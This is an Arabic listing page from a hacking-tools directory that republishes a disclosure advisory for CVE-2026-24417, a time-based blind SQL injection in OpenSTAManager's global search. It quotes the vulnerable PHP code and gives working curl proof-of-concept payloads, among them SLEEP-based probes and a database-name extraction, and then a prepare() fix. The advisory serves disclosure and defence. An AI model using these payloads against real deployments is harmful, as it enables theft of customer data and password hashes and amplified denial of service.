Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24417 — CVE-2026-24417 - يحتوي OpenSTAManager على ثغرة حقن SQL أعمى قائمة على الزمن مع تضخيم رفض الخدمة | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2026-24417
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHublukasz-rybak/cve-2026-24417

CVE-2026-24417

CVE-2026-24417 - يحتوي OpenSTAManager على ثغرة حقن SQL أعمى قائمة على الزمن مع تضخيم رفض الخدمة

عرض المستودع
4منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-24417: OpenSTAManager يحتوي على ثغرة حقن SQL أعمى قائم على الوقت مع رفض خدمة مضخّم

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-24417
الخطورةعالية
النشرة الأمنيةعرض النشرة الأمنية
اكتُشفت بواسطةLukasz Rybak

المنتجات المتأثرة

  • devcode-it/openstamanager (الإصدارات: < 2.9.8)

تصنيف CWE

  • CWE-89: معالجة غير صحيحة للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL')

التفاصيل

الملخص

ثغرة حرجة من نوع حقن SQL أعمى قائم على الوقت تؤثر على عدة وحدات بحث في OpenSTAManager v2.9.8، وتسمح للمهاجمين المصادَق عليهم باستخراج محتويات حساسة من قاعدة البيانات بما في ذلك تجزئات كلمات المرور وبيانات العملاء والسجلات المالية عبر هجمات الاستدلال البولياني القائمة على الوقت مع تنفيذ مضخّم عبر أكثر من 10 وحدات.

الحالة: ✅ تم التأكيد والاختبار على مثيل حي (v2.9.8) المعامل القابل للاختراق: term (GET) نقطة النهاية المتأثرة: /ajax_search.php الوحدات المتأثرة: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi

التفاصيل

يحتوي OpenSTAManager v2.9.8 على ثغرة حرجة من نوع حقن SQL أعمى قائم على الوقت في وظيفة البحث العام. يفشل التطبيق في تنظيف معامل term بشكل صحيح قبل استخدامه في عبارات SQL LIKE عبر معالجات بحث متعددة خاصة بالوحدات، مما يسمح للمهاجمين بحقن أوامر SQL عشوائية واستخراج بيانات حساسة من خلال الاستدلال البولياني القائم على الوقت.

سلسلة الثغرة:

  1. نقطة الدخول: /ajax_search.php (السطر 30-31)

    root@kitploit:~
    $term = get('term');
    $term = str_replace('/', '\\/', $term);
    

    يخضع معامل $term لتنظيف ضئيل (يكتفي باستبدال الشرطة المائلة للأمام).

  2. التوزيع: /src/AJAX.php::search() (السطر 159-161)

    root@kitploit:~
    $files = self::find('ajax/search.php');
    array_unshift($files, base_dir().'/ajax_search.php');
    foreach ($files as $file) {
        $module_results = self::getSearchResults($file, $term);
    

    يتم تمرير $term غير المنظّف إلى جميع معالجات البحث الخاصة بالوحدات.

  3. التنفيذ: /src/AJAX.php::getSearchResults() (السطر 373)

    root@kitploit:~
    require $file;
    

    يتم تضمين ملف search.php الخاص بكل وحدة مع وجود متغير $term في النطاق.

  4. استعلامات SQL القابلة للاختراق: تقوم عدة وحدات بربط $term مباشرة دون prepare()

جميع الملفات المتأثرة (أكثر من 10 حالات قابلة للاختراق):

  1. /modules/articoli/ajax/search.php - السطر 51 (مثال أساسي)

    root@kitploit:~
    foreach ($fields as $name => $value) {
        $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    }
    $rs = $dbo->fetchArray($query);
    

    التأثير: ربط مباشر دون prepare()، يسمح بحقن SQL كامل.

  2. /modules/ordini/ajax/search.php - السطر 43، 47

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    $query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
    
  3. /modules/ddt/ajax/search.php - السطر 43، 47

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  4. /modules/fatture/ajax/search.php - السطر 45، 49

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  5. /modules/preventivi/ajax/search.php - السطر 45، 49

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  6. /modules/anagrafiche/ajax/search.php - السطر 62، 107، 162

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  7. /modules/impianti/ajax/search.php - السطر 46

    root@kitploit:~
    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    

منظّفة بشكل صحيح (غير قابلة للاختراق):

  • /modules/contratti/ajax/search.php - تستخدم prepare() بشكل صحيح
  • /modules/automezzi/ajax/search.php - تستخدم prepare() بشكل صحيح

ملاحظة: تتميز الثغرة بـ تنفيذ مضخّم - حيث يؤدي طلب ضار واحد إلى تشغيل حقن SQL عبر جميع الوحدات القابلة للاختراق في وقت واحد، مما يتسبب في تنفيذ هجمات قائمة على الوقت أكثر من 10 مرات لكل طلب، مما يضاعف التأخير ويؤدي إلى أخطاء 504 Gateway Time-out كما لوحظ على النسخة التجريبية الحية.

صورة

إثبات المفهوم (PoC)

الخطوة 1: تسجيل الدخول

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

الخطوة 2: التحقق من الثغرة (SLEEP قائم على الوقت)

root@kitploit:~
# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s

# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s
صورة

الخطوة 3: استخراج البيانات - اسم قاعدة البيانات

root@kitploit:~
# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 170.32s

# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 0m0.30s
صورة

التأثير

المستخدمون المتأثرون: جميع المستخدمين المصادَق عليهم الذين لديهم حق الوصول إلى وظيفة البحث العام.

  • استخراج كامل لقاعدة البيانات بما في ذلك بيانات العملاء الشخصية (PII) والسجلات المالية وأسرار العمل
  • استخراج تجزئات كلمات المرور لكسرها دون اتصال
  • الهجمات القائمة على الوقت المضخّمة تستهلك 85x من موارد الخادم لكل طلب

الإصلاح الموصى به:

استبدل جميع حالات الربط المباشر لـ $term باستخدام prepare():

قبل (قابل للاختراق):

root@kitploit:~
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';

بعد (مُصلَح):

root@kitploit:~
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');

طبّق هذا الإصلاح على جميع الملفات المتأثرة:

  1. /modules/articoli/ajax/search.php - السطر 51
  2. /modules/ordini/ajax/search.php - الأسطر 43، 47، 79
  3. /modules/ddt/ajax/search.php - الأسطر 43، 47، 83
  4. /modules/fatture/ajax/search.php - الأسطر 45، 49، 85
  5. /modules/preventivi/ajax/search.php - الأسطر 45، 49، 83
  6. /modules/anagrafiche/ajax/search.php - الأسطر 62، 107، 162
  7. /modules/impianti/ajax/search.php - السطر 46

المراجع

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24417
  • https://github.com/advisories/GHSA-4hc4-8599-xh2h

إخلاء المسؤولية

تم الإفصاح عن هذا CVE بمسؤولية وفقًا لممارسات الإفصاح المنسّق عن الثغرات الأمنية. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة